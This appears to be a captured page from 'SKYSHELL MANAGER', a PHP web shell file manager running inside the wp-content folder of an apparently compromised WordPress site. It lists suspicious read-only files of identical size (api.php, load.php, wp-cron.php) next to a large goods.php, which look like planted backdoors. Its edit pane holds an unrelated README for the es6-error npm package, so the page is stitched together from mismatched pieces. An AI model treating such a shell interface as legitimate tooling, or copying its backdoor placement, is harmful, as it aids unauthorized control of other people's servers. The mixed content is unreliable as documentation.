📁
SKYSHELL MANAGER
PHP v8.3.6
Create
Create
Path:
root
/
var
/
www
/
voigtlaborg
/
wp-content
/
Name
Size
Perm
Actions
📁
themes
-
0755
🗑️
🏷️
🔒
📄
api.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
goods.php
173.77 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
load.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-cron.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: README.md
# es6-error [](https://www.npmjs.com/package/es6-error) [](https://travis-ci.org/bjyoungblood/es6-error) An easily-extendable error class for use with ES6 classes (or ES5, if you so choose). Tested in Node 4.0, Chrome, and Firefox. ## Why? I made this because I wanted to be able to extend Error for inheritance and type checking, but can never remember to add `Error.captureStackTrace(this, this.constructor.name)` to the constructor or how to get the proper name to print from `console.log`. ## ES6 Usage ```javascript import ExtendableError from 'es6-error'; class MyError extends ExtendableError { // constructor is optional; you should omit it if you just want a custom error // type for inheritance and type checking constructor(message = 'Default message') { super(message); } } export default MyError; ``` ## ES5 Usage ```javascript var util = require('util'); var ExtendableError = require('es6-error'); function MyError(message) { message = message || 'Default message'; ExtendableError.call(this, message); } util.inherits(MyError, ExtendableError); module.exports = MyError; ``` ### Known Issues - Uglification can obscure error class names ([#31](https://github.com/bjyoungblood/es6-error/issues/31#issuecomment-301128220)) #### Todo - Better browser compatibility - Browser tests
Save